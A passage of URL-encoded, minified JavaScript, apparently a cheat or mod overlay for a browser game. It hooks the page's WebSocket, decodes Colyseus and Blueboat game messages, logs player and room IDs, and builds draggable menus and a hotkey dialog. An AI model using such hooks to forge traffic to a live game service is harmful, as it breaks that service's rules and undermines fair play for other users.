terSocket(e)%7Bthis.socket%3De%2C%22Phaser%22in%20He()%3F(this.transportType.set(%22colyseus%22)%2Cthis.addEventListener(%22colyseusMessage%22%2C(e%3D%3E%7Bif(%22DEVICES_STATES_CHANGES%22!%3De.detail.type)return%3Blet%20t%3Dfunction(e)%7Blet%20t%3D%5B%5D%3Bfor(let%20n%20of%20e.changes)%7Blet%20r%3D%7B%7D%2Co%3Dn%5B1%5D.map((t%3D%3Ee.values%5Bt%5D))%3Bfor(let%20e%3D0%3Be%3Co.length%3Be%2B%2B)r%5Bo%5Be%5D%5D%3Dn%5B2%5D%5Be%5D%3Bt.push(%7Bid%3An%5B0%5D%2Cdata%3Ar%7D)%7Dreturn%20t%7D(e.detail.message)%3Bthis.dispatchEvent(new%20CustomEvent(%22deviceChanges%22%2C%7Bdetail%3At%7D))%7D)))%3Athis.transportType.set(%22blueboat%22)%2Ce.addEventListener(%22message%22%2C(e%3D%3E%7Blet%20t%3Bif(%22colyseus%22%3D%3Da(this.transportType))%7Bif(t%3Dfunction(e)%7Bconst%20t%3DArray.from(new%20Uint8Array(e.data))%2Cn%3Dt%5B0%5D%3Bif(n%3D%3D%3Det.Protocol.JOIN_ROOM)%7Blet%20e%3D1%3Bconst%20n%3Drt.utf8Read(t%2Ce)%3Be%2B%3Drt.utf8Length(n)%3Bconst%20r%3Drt.utf8Read(t%2Ce)%3Be%2B%3Drt.utf8Length(r)%2Cconsole.log(n%2Cr%2Ce)%2Ct.length%3Ee%26%26it.handshake(t%2C%7Boffset%3Ae%7D)%7Delse%20if(n%3D%3D%3Det.Protocol.ROOM_DATA_SCHEMA)%3Belse%20if(n%3D%3D%3Det.Protocol.ROOM_STATE)t.shift()%2Cit.setState(t)%3Belse%20if(n%3D%3D%3Det.Protocol.ROOM_STATE_PATCH)t.shift()%2Cit.patch(t)%3Belse%7Bif(n%3D%3D%3Det.Protocol.ROOM_DATA)%7Bconst%20n%3D%7Boffset%3A1%7D%3Breturn%7Btype%3Ant.decode.stringCheck(t%2Cn)%3Fnt.decode.string(t%2Cn)%3Ant.decode.number(t%2Cn)%2Cmessage%3At.length%3En.offset%3FWe(e.data%2Cn.offset)%3Avoid%200%7D%7Dif(n%3D%3D%3Det.Protocol.ROOM_DATA_BYTES)%7Bconst%20e%3D%7Boffset%3A1%7D%3Breturn%7Btype%3Ant.decode.stringCheck(t%2Ce)%3Fnt.decode.string(t%2Ce)%3Ant.decode.number(t%2Ce)%2Cmessage%3Anew%20Uint8Array(t.slice(e.offset))%7D%7D%7Dreturn%20null%7D(e)%2C!t)return%3Bthis.dispatchEvent(new%20CustomEvent(%22colyseusMessage%22%2C%7Bdetail%3At%7D))%7Delse%7Bif(t%3DVe.decode(e.data)%2C!t)return%3Bthis.dispatchEvent(new%20CustomEvent(%22blueboatMessage%22%2C%7Bdetail%3At%7D))%7D%7D))%7DonSend(e)%7Bif(%22blueboat%22%3D%3Da(this.transportType)%26%26!this.blueboatRoomId)%7Blet%20t%3DVe.decode(e)%3Bt.roomId%26%26(this.blueboatRoomId%3Dt.roomId)%2Ct.room%26%26(this.blueboatRoomId%3Dt.room)%2Cthis.blueboatRoomId%26%26console.log(%22Got%20Blueboat%20Room%20Id%3A%20%22%2Bthis.blueboatRoomId)%7D%7DsendMessage(e%2Ct)%7Bif(!this.socket)return%3Bif(!this.blueboatRoomId%26%26%22blueboat%22%3D%3Da(this.transportType))return%3Blet%20n%3Bif(%22colyseus%22%3D%3Da(this.transportType))%7Blet%20r%3D%5Bet.Protocol.ROOM_DATA%5D%2Co%3DYe(e)%2Ci%3DYe(t)%3Bn%3Dnew%20Uint8Array(o.byteLength%2Bi.byteLength%2Br.length)%2Cn.set(r)%2Cn.set(new%20Uint8Array(o)%2Cr.length)%2Cn.set(new%20Uint8Array(i)%2Cr.length%2Bo.byteLength)%7Delse%20n%3DVe.encode(e%2Ct%2Cthis.blueboatRoomId)%3Bthis.socket.send(n)%7D%7Dconst%20at%3Dnew%20st%2Cct%3DAe(!0)%2Clt%3DAe(!1)%3BHe().storesLoaded%3Dlt%3Bconst%20ut%3DAe(null)%3Bat.addEventListener(%22colyseusMessage%22%2C(e%3D%3E%7B%22AUTH_ID%22%3D%3D%3De.detail.type%26%26(ut.set(e.detail.message)%2Cconsole.log(%22%5BGC%5D%20Got%20player%20id%3A%20%22%2Be.detail.message))%7D))%3Bconst%20ft%3DAe(!1)%3Bat.addEventListener(%22colyseusMessage%22%2C(e%3D%3E%7Bif(%22DEVICES_STATES_CHANGES%22%3D%3D%3De.detail.type)%7Blet%20t%3DsetInterval((()%3D%3E%7Blet%20n%3DHe()%3F.stores%3F.phaser%3F.scene%3F.worldManager%3F.devices%3F.allDevices%3Bn%26%26n.length%3E%3De.detail.message.changes.length%26%26(clearInterval(t)%2Cft.set(!0))%7D)%2C100)%7D%7D))%3Bconst%7Bwindow%3Adt%7D%3Db%3Bfunction%20ht(e)%7Bx(e%2C%22svelte-4jfbq8%22%2C%22.menu.svelte-4jfbq8%7Bposition%3Aabsolute%3Bbackground-color%3Avar(--menuBackgroundColor)%3Bresize%3Aboth%3Boverflow%3Ahidden%3Bmin-width%3A150px%3Bborder-radius%3A5px%3Buser-select%3Anone%3Bpointer-events%3Aall%3Boutline-width%3A3px%3Boutline-style%3Asolid%3Boutline-color%3Avar(--menuOutlineColor)%7D.children.svelte-4jfbq8%7Bposition%3Arelative%3Bheight%3Acalc(100%25%20-%2021px)%3Boverflow-x%3Ahidden%3Boverflow-y%3Aauto%7D.groupContent%7Bposition%3Aabsolute%3Btop%3A0%3Bleft%3A0%3Bdisplay%3Aflex%3Bflex-direction%3Acolumn%3Bwidth%3A100%25%7D.groupContent.svelte-4jfbq8%7Btransform%3AtranslateX(0)%3Bopacity%3A1%3Bpointer-events%3Aall%7D.menu.minimized.svelte-4jfbq8%7Boverflow%3Ahidden%3Bresize%3Ahorizontal%3Bheight%3A21px%20!important%7D.header.svelte-4jfbq8%7Bbackground-color%3Avar(--menuHeaderBackgroundColor)%3Bposition%3Arelative%3Bcolor%3Avar(--menuHeaderTextColor)%3Bwidth%3A100%25%3Btext-align%3Acenter%3Bfont-size%3A14px%3Bheight%3A21px%7D.minimize.svelte-4jfbq8%7Bbackground-color%3Atransparent%3Bborder%3Anone%3Balign-items%3Acenter%3Bposition%3Aabsolute%3Bright%3A5px%3Btop%3A0%3Bcursor%3Apointer%7D%22)%7Dfunction%20pt(e)%7Blet%20t%2Cn%2Co%2Ci%2Cs%2Ca%2Cc%2Cu%2Cp%2Cg%2Cm%2C%24%2Cy%3De%5B2%5D%3F%22%2B%22%3A%22-%22%3Bconst%20v%3De%5B11%5D.default%2Cb%3Dl(v%2Ce%2Ce%5B10%5D%2Cnull)%3Breturn%7Bc()%7Bt%3DO(%22div%22)%2Cn%3DO(%22div%22)%2Co%3Dk(e%5B0%5D)%2Ci%3DT()%2Cs%3DO(%22button%22)%2Ca%3Dk(y)%2Cc%3DT()%2Cu%3DO(%22div%22)%2Cp%3DO(%22div%22)%2Cb%26%26b.c()%2CM(s%2C%22class%22%2C%22minimize%20svelte-4jfbq8%22)%2CM(n%2C%22class%22%2C%22header%20svelte-4jfbq8%22)%2CM(p%2C%22class%22%2C%22groupContent%20open%20svelte-4jfbq8%22)%2CM(u%2C%22class%22%2C%22children%20svelte-4jfbq8%22)%2CM(t%2C%22class%22%2C%22menu%20svelte-4jfbq8%22)%2Cq(t%2C%22left%22%2Ce%5B3%5D.x%2B%22px%22)%2Cq(t%2C%22top%22%2Ce%5B3%5D.y%2B%22px%22)%2CU(t%2C%22minimized%22%2Ce%5B2%5D)%7D%2Cm(r%2Cl)%7BE(r%2Ct%2Cl)%2Cw(t%2Cn)%2Cw(n%2Co)%2Cw(n%2Ci)%2Cw(n%2Cs)%2Cw(s%2Ca)%2Cw(t%2Cc)%2Cw(t%2Cu)%2Cw(u%2Cp)%2Cb%26%26b.m(p%2Cnull)%2Ce%5B12%5D(t)%2Cg%3D!0%2Cm%7C%7C(%24%3D%5BR(dt%2C%22mouseup%22%2Ce%5B8%5D)%2CR(dt%2C%22mousemove%22%2Ce%5B7%5D)%2CR(dt%2C%22resize%22%2Ce%5B5%5D)%2CR(s%2C%22click%22%2Ce%5B9%5D)%2CR(t%2C%22mousedown%22%2Ce%5B6%5D)%5D%2Cm%3D!0)%7D%2Cp(e%2Cn)%7B(!g%7C%7C1%26n%5B0%5D)%26%26D(o%2Ce%5B0%5D)%2C(!g%7C%7C4%26n%5B0%5D)%26%26y!%3D%3D(y%3De%5B2%5D%3F%22%2B%22%3A%22-%22)%26%26D(a%2Cy)%2Cb%26%26b.p%26%26(!g%7C%7C1024%26n%5B0%5D)%26%26d(b%2Cv%2Ce%2Ce%5B10%5D%2Cg%3Ff(v%2Ce%5B10%5D%2Cn%2Cnull)%3Ah(e%5B10%5D)%2Cnull)%2C(!g%7C%7C8%26n%5B0%5D)%26%26q(t%2C%22left%22%2Ce%5B3%5D.x%2B%22px%22)%2C(!g%7C%7C8%26n%5B0%5D)%26%26q(t%2C%22top%22%2Ce%5B3%5D.y%2B%22px%22)%2C(!g%7C%7C4%26n%5B0%5D)%26%26U(t%2C%22minimized%22%2Ce%5B2%5D)%7D%2Ci(e)%7Bg%7C%7C(le(b%2Ce)%2Cg%3D!0)%7D%2Co(e)%7Bue(b%2Ce)%2Cg%3D!1%7D%2Cd(n)%7Bn%26%26_(t)%2Cb%26%26b.d(n)%2Ce%5B12%5D(null)%2Cm%3D!1%2Cr(%24)%7D%7D%7Dfunction%20gt(e%2Ct%2Cn)%7Blet%20r%2C%7B%24%24slots%3Ao%3D%7B%7D%2C%24%24scope%3Ai%7D%3Dt%2C%7Bname%3As%7D%3Dt%2Cl%3DLe%5Bs%5D%3Blet%20u%3Dl%3F.x%3F%3F50%2Cf%3Dl%3F.y%3F%3F50%2Cd%3Dl%3F.width%3F%3F200%2Ch%3Dl%3F.height%3F%3F200%2Cp%3Dd%2Cg%3Dh%2Cm%3Dke(b(u%2Cf)%2C%7Bstiffness%3A.1%2Cdamping%3A.5%7D)%3Bc(e%2Cm%2C(e%3D%3En(3%2Cr%3De)))%3Blet%20%24%3Da(m)%2Cy%3D%24.x%2Cv%3D%24.y%3Bfunction%20b(e%2Ct)%7Breturn%20e%3C0%26%26(e%3D0)%2Ct%3C0%26%26(t%3D0)%2Ce%2Bp%3Ewindow.innerWidth%26%26(e%3Dwindow.innerWidth-p)%2Ct%2Bg%3Ewindow.innerHeight%26%26(t%3Dwindow.innerHeight-g)%2C%7Bx%3Ae%2Cy%3At%7D%7Dlet%20w%2Cx%3D!1%3Bct.subscribe((e%3D%3E%7Bif(e)m.set(b(y%2Cv))%2Cx%3D!1%3Belse%7Bx%3D!0%3Blet%20e%3Da(m)%2Ct%3De.x%2Bp%2F2%2Cn%3De.y%2Bg%2F2%2Cr%3Dt%3Cwindow.innerWidth%2F2%3F-p%3Awindow.innerWidth%2Co%3Dn%3Cwindow.innerHeight%2F2%3F-g%3Awindow.innerHeight%3BMath.abs(r-e.x)%3CMath.abs(o-e.y)%3Fm.set(%7Bx%3Ar%2Cy%3Ae.y%7D)%3Am.set(%7Bx%3Ae.x%2Cy%3Ao%7D)%7D%7D))%3Blet%20E%2C_%2CA%2CO%3Dl%3F.minimized%3F%3F!1%2CI%3D%22waiting%22%3Bconst%20k%3DEe((function()%7Bif(x)return%3Blet%20e%3Da(m)%3B!function(e%2Ct)%7BLe%5Be%5D%3Dt%2CCe(%22menuTransforms%22%2CJSON.stringify(Le))%7D(s%2C%7Bx%3Ae.x%2Cy%3Ae.y%2Cwidth%3Ap%2Cheight%3Ag%2Cminimized%3AO%7D)%7D)%2C100)%3Bm.subscribe((()%3D%3Ek()))%3Blet%20T%3Dnew%20ResizeObserver((e%3D%3E%7BI%3D%22waiting%22%3Blet%20t%3De%5B0%5D%3BO%7C%7C(g%3Dt.contentRect.height)%2Cp%3Dt.contentRect.width%2Ck()%7D))%3Breturn%20z((()%3D%3E%7BT.observe(w)%2Cn(1%2Cw.style.height%3D%60%24%7BMath.max(h%2C21)%7Dpx%60%2Cw)%2Cn(1%2Cw.style.width%3D%60%24%7BMath.max(d%2C150)%7Dpx%60%2Cw)%7D))%2CV((()%3D%3E%7BT.disconnect()%7D))%2Ce.%24%24set%3De%3D%3E%7B%22name%22in%20e%26%26n(0%2Cs%3De.name)%2C%22%24%24scope%22in%20e%26%26n(10%2Ci%3De.%24%24scope)%7D%2C%5Bs%2Cw%2CO%2Cr%2Cm%2Cfunction()%7Blet%20e%3Da(m)%3Bm.set(b(e.x%2Ce.y))%7D%2Cfunction(e)%7BI%3D%22checking%22%3Bconst%20t%3Da(m)%3BE%3De.clientX-t.x%2C_%3De.clientY-t.y%2CA%3D0%7D%2Cfunction(e)%7Bif(%22waiting%22!%3DI)if(A%2B%3DMath.abs(e.movementX)%2BMath.abs(e.movementY)%2C%22checking%22%3D%3DI%26%26A%3E5)I%3D%22dragging%22%3Belse%20if(%22dragging%22%3D%3DI)%7Blet%20t%3De.clientX-E%2Cn%3De.clientY-_%3By%3Dt%2Cv%3Dn%2Cm.set(b(t%2Cn))%2Ck()%7D%7D%2Cfunction()%7BI%3D%22waiting%22%7D%2Cfunction()%7Bn(2%2CO%3D!O)%2Ck()%7D%2Ci%2Co%2Cfunction(e)%7BG%5Be%3F%22unshift%22%3A%22push%22%5D((()%3D%3E%7Bw%3De%2Cn(1%2Cw)%7D))%7D%5D%7Dclass%20mt%20extends%20ye%7Bconstructor(e)%7Bsuper()%2C%24e(this%2Ce%2Cgt%2Cpt%2Ci%2C%7Bname%3A0%7D%2Cht%2C%5B-1%2C-1%5D)%7D%7Dfunction%20%24t(e)%7Blet%20t%2Cn%3Breturn%7Bc()%7Bt%3DI(%22desc%22)%2Cn%3Dk(e%5B7%5D)%7D%2Cm(e%2Cr)%7BE(e%2Ct%2Cr)%2Cw(t%2Cn)%7D%2Cp(e%2Ct)%7B128%26t%26%26D(n%2Ce%5B7%5D)%7D%2Cd(e)%7Be%26%26_(t)%7D%7D%7Dfunction%20yt(e)%7Blet%20t%2Cn%3Breturn%7Bc()%7Bt%3DI(%22title%22)%2Cn%3Dk(e%5B6%5D)%7D%2Cm(e%2Cr)%7BE(e%2Ct%2Cr)%2Cw(t%2Cn)%7D%2Cp(e%2Ct)%7B64%26t%26%26D(n%2Ce%5B6%5D)%7D%2Cd(e)%7Be%26%26_(t)%7D%7D%7Dfunction%20vt(t)%7Blet%20n%2Cr%2Co%2Ci%3Dt%5B7%5D%26%26%24t(t)%2Cs%3Dt%5B6%5D%26%26yt(t)%3Breturn%7Bc()%7Bn%3DI(%22svg%22)%2Ci%26%26i.c()%2Cr%3DC()%2Cs%26%26s.c()%2Co%3DI(%22path%22)%2CM(o%2C%22d%22%2C%22M4%2C5A2%2C2%200%200%2C0%202%2C7V17A2%2C2%200%200%2C0%204%2C19H20A2%2C2%200%200%2C0%2022%2C17V7A2%2C2%200%200%2C0%2020%2C5H4M4%2C7H20V17H4V7M5%2C8V10H7V8H5M8%2C8V10H10V8H8M11%2C8V10H13V8H11M14%2C8V10H16V8H14M17%2C8V10H19V8H17M5%2C11V13H7V11H5M8%2C11V13H10V11H8M11%2C11V13H13V11H11M14%2C11V13H16V11H14M17%2C11V13H19V11H17M8%2C14V16H16V14H8Z%22)%2CM(o%2C%22fill%22%2Ct%5B2%5D)%2CM(n%2C%22viewBox%22%2Ct%5B3%5D)%2CM(n%2C%22width%22%2Ct%5B0%5D)%2CM(n%2C%22height%22%2Ct%5B1%5D)%2CM(n%2C%22class%22%2Ct%5B8%5D)%2CM(n%2C%22aria-label%22%2Ct%5B4%5D)%2CM(n%2C%22aria-hidden%22%2Ct%5B5%5D)%7D%2Cm(e%2Ct)%7BE(e%2Cn%2Ct)%2Ci%26%26i.m(n%2Cnull)%2Cw(n%2Cr)%2Cs%26%26s.m(n%2Cnull)%2Cw(n%2Co)%7D%2Cp(e%2C%5Bt%5D)%7Be%5B7%5D%3Fi%3Fi.p(e%2Ct)%3A(i%3D%24t(e)%2Ci.c()%2Ci.m(n%2Cr))%3Ai%26%26(i.d(1)%2Ci%3Dnull)%2Ce%5B6%5D%3Fs%3Fs.p(e%2Ct)%3A(s%3Dyt(e)%2Cs.c()%2Cs.m(n%2Co))%3As%26%26(s.d(1)%2Cs%3Dnull)%2C4%26t%26%26M(o%2C%22fill%22%2Ce%5B2%5D)%2C8%26t%26%26M(n%2C%22viewBox%22%2Ce%5B3%5D)%2C1%26t%26%26M(n%2C%22width%22%2Ce%5B0%5D)%2C2%26t%26%26M(n%2C%22height%22%2Ce%5B1%5D)%2C256%26t%26%26M(n%2C%22class%22%2Ce%5B8%5D)%2C16%26t%26%26M(n%2C%22aria-label%22%2Ce%5B4%5D)%2C32%26t%26%26M(n%2C%22aria-hidden%22%2Ce%5B5%5D)%7D%2Ci%3Ae%2Co%3Ae%2Cd(e)%7Be%26%26_(n)%2Ci%26%26i.d()%2Cs%26%26s.d()%7D%7D%7Dfunction%20bt(e%2Ct%2Cn)%7Blet%7Bsize%3Ar%3D%221em%22%7D%3Dt%2C%7Bwidth%3Ao%3Dr%7D%3Dt%2C%7Bheight%3Ai%3Dr%7D%3Dt%2C%7Bcolor%3As%3D%22currentColor%22%7D%3Dt%2C%7BviewBox%3Aa%3D%220%200%2024%2024%22%7D%3Dt%2C%7BariaLabel%3Ac%7D%3Dt%2C%7BariaHidden%3Al%7D%3Dt%2C%7Btitle%3Au%7D%3Dt%2C%7Bdesc%3Af%7D%3Dt%2C%7Bclass%3Ad%7D%3Dt%3Breturn%20e.%24%24set%3De%3D%3E%7B%22size%22in%20e%26%26n(9%2Cr%3De.size)%2C%22width%22in%20e%26%26n(0%2Co%3De.width)%2C%22height%22in%20e%26%26n(1%2Ci%3De.height)%2C%22color%22in%20e%26%26n(2%2Cs%3De.color)%2C%22viewBox%22in%20e%26%26n(3%2Ca%3De.viewBox)%2C%22ariaLabel%22in%20e%26%26n(4%2Cc%3De.ariaLabel)%2C%22ariaHidden%22in%20e%26%26n(5%2Cl%3De.ariaHidden)%2C%22title%22in%20e%26%26n(6%2Cu%3De.title)%2C%22desc%22in%20e%26%26n(7%2Cf%3De.desc)%2C%22class%22in%20e%26%26n(8%2Cd%3De.class)%7D%2C%5Bo%2Ci%2Cs%2Ca%2Cc%2Cl%2Cu%2Cf%2Cd%2Cr%5D%7Dclass%20wt%20extends%20ye%7Bconstructor(e)%7Bsuper()%2C%24e(this%2Ce%2Cbt%2Cvt%2Ci%2C%7Bsize%3A9%2Cwidth%3A0%2Cheight%3A1%2Ccolor%3A2%2CviewBox%3A3%2CariaLabel%3A4%2CariaHidden%3A5%2Ctitle%3A6%2Cdesc%3A7%2Cclass%3A8%7D)%7D%7Dconst%20xt%3Dnew%20class%7BkeysPressed%3Dnew%20Set%3Bkeybinds%3Dnew%20Map%3Bconstructor()%7Bwindow.addEventListener(%22keydown%22%2C(e%3D%3E%7Bthis.keysPressed.add(e.key.toLowerCase())%3Be%3Afor(const%5Be%2Ct%5Dof%20this.keybinds)if(0!%3De.size)%7Bfor(const%20t%20of%20e)if(!this.keysPressed.has(t))continue%20e%3Bt()%7D%7D))%2Cwindow.addEventListener(%22keyup%22%2C(e%3D%3E%7Bthis.keysPressed.delete(e.key.toLowerCase())%7D))%7DaddKeybind(e%2Ct)%7Bthis.keybinds.set(e%2Ct)%7DremoveKeybind(e)%7Bthis.keybinds.delete(e)%7D%7D%3Bfunction%20Et(e)%7Bx(e%2C%22svelte-1j00okq%22%2C%22dialog.svelte-1j00okq%7Bwidth%3A400px%3Bheight%3A300px%3Bborder-radius%3A15px%3Bbackground-color%3Awhite%3Bborder%3A3px%20solid%20black%3Bdisplay%3Aflex%3Bflex-direction%3Acolumn%7Dh2.svelte-1j00okq%7Bwidth%3A100%25%3Btext-align%3Acenter%7Dbutton%5Bdisabled%5D.svelte-1j00okq%7Bopacity%3A0.5%3Bcursor%3Anot-allowed%7D.recordBtn.svelte-1j00okq%7Bwidth%3A100%25%3Bheight%3A50px%3Bborder%3Anone%3Bbackground-color%3A%23f0f0f0%3Bcursor%3Apointer%3Bborder-radius%3A10px%7D.hotkeyDisplay.svelte-1j00okq%7Bwidth%3A100%25%3Btext-align%3Acenter%3Bheight%3A80px%3Boverflow-y%3Aauto%3Bmargin-top%3A20px%7D.completeContainer.svelte-1j00okq%7Bdisplay%3Aflex%3Bjustify-content%3Aspace-between%3Bmargin-top%3A20px%7D.confirm.svelte-1j00okq%2C.cancel.svelte-1j00okq%7Bwidth%3A40%25%3Bborder%3Anone%3Bborder-radius%3A3px%7D.confirm.svelte-1j00okq%7Bbackground-color%3Alightgreen%7D.cancel.svelte-1j00okq%7Bbackground-color%3Alightcoral%7D%22)%7Dfunction%20_t(e)%7Blet%20t%3Breturn%7Bc()%7Bt%3Dk(%22Re-record%22)%7D%2Cm(e%2Cn)%7BE(e%2Ct%2Cn)%7D%2Cd(e)%7Be%26%26_(t)%7D%7D%7Dfunction%20At(e)%7Blet%20t%3Breturn%7Bc()%7Bt%3Dk(%22Start%20recording%22)%7D%2Cm(e%2Cn)%7BE(e%2Ct%2Cn)%7D%2Cd(e)%7Be%26%26_(t)%7D%7D%7Dfunction%20Ot(e)%7Blet%20t%3Breturn%7Bc()%7Bt%3Dk(%22Stop%20recording%22)%7D%2Cm(e%2Cn)%7BE(e%2Ct%2Cn)%7D%2Cd(e)%7Be%26%26_(t)%7D%7D%7Dfunction%20It(e)%7Blet%20t%2Cn%3DArray.from(e%5B0%5D).map(St).join(%22%20%2B%20%22)%2B%22%22%3Breturn%7Bc()%7Bt%3Dk(n)%7D%2Cm(e%2Cn)%7BE(e%2Ct%2Cn)%7D%2Cp(e%2Cr)%7B1%26r%26%26n!%3D%3D(n%3DArray.from(e%5B0%5D).map(St).join(%22%20%2B%20%22)%2B%22%22)%26%26D(t%2Cn)%7D%2Cd(e)%7Be%26%26_(t)%7D%7D%7Dfunction%20kt(e)%7Blet%20t%3Bfunction%20n(e%2Ct)%7Breturn%20e%5B1%5D%3FCt%3ATt%7Dlet%20r%3Dn(e)%2Co%3Dr(e)%3Breturn%7Bc()%7Bo.c()%2Ct%3DC()%7D%2Cm(e%2Cn)%7Bo.m(e%2Cn)%2CE(e%2Ct%2Cn)%7D%2Cp(e%2Ci)%7Br!%3D%3D(r%3Dn(e))%26%26(o.d(1)%2Co%3Dr(e)%2Co%26%26(o.c()%2Co.m(t.parentNode%2Ct)))%7D%2Cd(e)%7Be%26%26_(t)%2Co.d(e)%7D%7D%7Dfunction%20Tt(e)%7Blet%20t%3Breturn%7Bc()%7Bt%3Dk(%22No%20hotkey%20set%22)%7D%2Cm(e%2Cn)%7BE(e%2Ct%2Cn)%7D%2Cd(e)%7Be%26%26_(t)%7D%7D%7Dfunction%20Ct(e)%7Blet%20t%3Breturn%7Bc()%7Bt%3Dk(%22Press%20any%20keys%22)%7D%2Cm(e%2Cn)%7BE(e%2Ct%2Cn)%7D%2Cd(e)%7Be%26%26_(t)%7D%7D%7Dfunction%20Rt(t)%7Blet%20n%2Co%2Ci%2Cs%2Ca%2Cc%2Cl%2Cu%2Cf%2Cd%2Ch%2Cp%2Cg%2Cm%2C%24%3Bfunction%20y(e%2Ct)%7Breturn%20e%5B1%5D%3FOt%3A0%3D%3D%3De%5B0%5D.size%3FAt%3A_t%7Dlet%20v%3Dy(t)%2Cb%3Dv(t)%3Bfunction%20x(e%2Ct)%7Breturn%200%3D%3D%3De%5B0%5D.size%3Fkt%3AIt%7Dlet%20A%3Dx(t)%2CI%3DA(t)%3Breturn%7Bc()%7Bn%3DO(%22dialog%22)%2Co%3DO(%22h2%22)%2Co.textContent%3D%22Create%20Hotkey%22%2Ci%3DT()%2Cs%3DO(%22button%22)%2Cb.c()%2Ca%3DT()%2Cc%3DO(%22div%22)%2CI.c()%2Cl%3DT()%2Cu%3DO(%22div%22)%2Cf%3DO(%22button%22)%2Cd%3Dk(%22Confirm%22)%2Cp%3DT()%2Cg%3DO(%22button%22)%2Cg.textContent%3D%22No%20hotkey%22%2CM(o%2C%22class%22%2C%22svelte-1j00okq%22)%2CM(s%2C%22class%22%2C%22recordBtn%20svelte-1j00okq%22)%2CM(c%2C%22class%22%2C%22hotkeyDisplay%20svelte-1j00okq%22)%2Cf.disabled%3Dh%3D0%3D%3D%3Dt%5B0%5D.size%2CM(f%2C%22class%22%2C%22confirm%20svelte-1j00okq%22)%2CM(g%2C%22class%22%2C%22cancel%20svelte-1j00okq%22)%2CM(u%2C%22class%22%2C%22completeContainer%20svelte-1j00okq%22)%2CM(n%2C%22class%22%2C%22svelte-1j00okq%22)%7D%2Cm(e%2Cr)%7BE(e%2Cn%2Cr)%2Cw(n%2Co)%2Cw(n%2Ci)%2Cw(n%2Cs)%2Cb.m(s%2Cnull)%2Cw(n%2Ca)%2Cw(n%2Cc)%2CI.m(c%2Cnull)%2Cw(n%2Cl)%2Cw(n%2Cu)%2Cw(u%2Cf)%2Cw(f%2Cd)%2Cw(u%2Cp)%2Cw(u%2Cg)%2Ct%5B10%5D(n)%2Cm%7C%7C(%24%3D%5BR(window%2C%22keydown%22%2Ct%5B3%5D)%2CR(s%2C%22click%22%2Ct%5B4%5D)%2CR(s%2C%22keydown%22%2CS(t%5B9%5D))%2CR(f%2C%22click%22%2Ct%5B5%5D)%2CR(g%2C%22click%22%2Ct%5B6%5D)%2CR(n%2C%22mousedown%22%2CP(t%5B8%5D))%5D%2Cm%3D!0)%7D%2Cp(e%2C%5Bt%5D)%7Bv!%3D%3D(v%3Dy(e))%26%26(b.d(1)%2Cb%3Dv(e)%2Cb%26%26(b.c()%2Cb.m(s%2Cnull)))%2CA%3D%3D%3D(A%3Dx(e))%26%26I%3FI.p(e%2Ct)%3A(I.d(1)%2CI%3DA(e)%2CI%26%26(I.c()%2CI.m(c%2Cnull)))%2C1%26t%26%26h!%3D%3D(h%3D0%3D%3D%3De%5B0%5D.size)%26%26(f.disabled%3Dh)%7D%2Ci%3Ae%2Co%3Ae%2Cd(e)%7Be%26%26_(n)%2Cb.d()%2CI.d()%2Ct%5B10%5D(null)%2Cm%3D!1%2Cr(%24)%7D%7D%7Dconst%20St%3De%3D%3E%22%20%22%3D%3D%3De%3F%22Space%22%3Ae%3Bfunction%20Pt(e%2Ct%2Cn)%7Blet%20r%2C%7Bkeys%3Ao%3Dnew%20Set%7D%3Dt%2Ci%3Dnew%20Set(o)%2Cs%3D!1%2Ca%3DF()%3Breturn%20z((()%3D%3E%7Br.showModal()%2Cr.addEventListener(%22close%22%2C(()%3D%3E%7Ba(%22close%22%2Cnew%20Set)%7D))%7D))%2Ce.%24%24set%3De%3D%3E%7B%22keys%22in%20e%26%26n(7%2Co%3De.keys)%7D%2C%5Bi%2Cs%2Cr%2Cfunction(e)%7Bs%26%26(%22Escape%22!%3D%3De.key%3F(i.add(e.key.toLowerCase())%2Cn(0%2Ci))%3An(1%2Cs%3D!1))%7D%2Cfunction()%7Bn(1%2Cs%3D!s)%2Cs%26%26(i.clear()%2Cn(0%2Ci))%7D%2Cfunction()%7Ba(%22close%22%2Ci)%7D%2Cfunction()%7Ba(%22close%22%2Cnew%20Set)%7D%2Co%2Cfunction(t)%7BW.call(this%2Ce%2Ct)%7D%2Cfunction(t)%7BW.call(this%2Ce%2Ct)%7D%2Cfunction(e)%7BG%5Be%3F%22unshift%22%3A%22push%22%5D((()%3D%3E%7Br%3De%2Cn(2%2Cr)%7D))%7D%5D%7Dclass%20Mt%20extends%20ye%7Bconstructor(e)%7Bsuper()%2C%24e(this%2Ce%2CPt%2CRt%2Ci%2C%7Bkeys%3A7%7D%2CEt)%7D%7Dfunction%20Nt(e)%7Bx(e%2C%22svelte-1tsrn0k%22%2C%22button.svelte-1tsrn0k%7Bbackground-color%3Atransparent%3Bborder%3Anone%3Bheight%3A30px%3Bmargin%3A0px%3Bpadding-right%3A0px%7D%22)%7Dfunction%20Dt(t)%7Blet%20n%2Cr%3Breturn%20n%3Dnew%20Mt(%7Bprops%3A%7Bkeys%3At%5B1%5D%7D%7D)%2Cn.%24on(%22close%22%2Ct%5B2%5D)%2C%7Bc()%7Bhe(n.%24%24.fragment)%7D%2Cm(e%2Ct)%7Bpe(n%2Ce%2Ct)%2Cr%3D!0%7D%2Cp%3Ae%2Ci(e)%7Br%7C%7C(le(n.%24%24.fragment%2Ce)%2Cr%3D!0)%7D%2Co(e)%7Bue(n.%24%24.fragment%2Ce)%2Cr%3D!1%7D%2Cd(e)%7Bge(n%2Ce)%7D%7D%7Dfunction%20Lt(e)%7Blet%20t%2Cn%2Cr%2Co%2Ci%2Cs%2Ca%3De%5B0%5D%26%26Dt(e)%3Breturn%20r%3Dnew%20wt(%7Bprops%3A%7Bwidth%3A30%2Cheight%3A30%7D%7D)%2C%7Bc()%7Ba%26%26a.c()%2Ct%3DT()%2Cn%3DO(%22button%22)%2Che(r.%24%24.fragment)%2CM(n%2C%22class%22%2C%22svelte-1tsrn0k%22)%7D%2Cm(c%2Cl)%7Ba%26%26a.m(c%2Cl)%2CE(c%2Ct%2Cl)%2CE(c%2Cn%2Cl)%2Cpe(r%2Cn%2Cnull)%2Co%3D!0%2Ci%7C%7C(s%3DR(n%2C%22click%22%2Ce%5B4%5D)%2Ci%3D!0)%7D%2Cp(e%2C%5Bn%5D)%7Be%5B0%5D%3Fa%3F(a.p(e%2Cn)%2C1%26n%26%26le(a%2C1))%3A(a%3DDt(e)%2Ca.c()%2Cle(a%2C1)%2Ca.m(t.parentNode%2Ct))%3Aa%26%26(ae()%2Cue(a%2C1%2C1%2C(()%3D%3E%7Ba%3Dnull%7D))%2Cce())%7D%2Ci(e)%7Bo%7C%7C(le(a)%2Cle(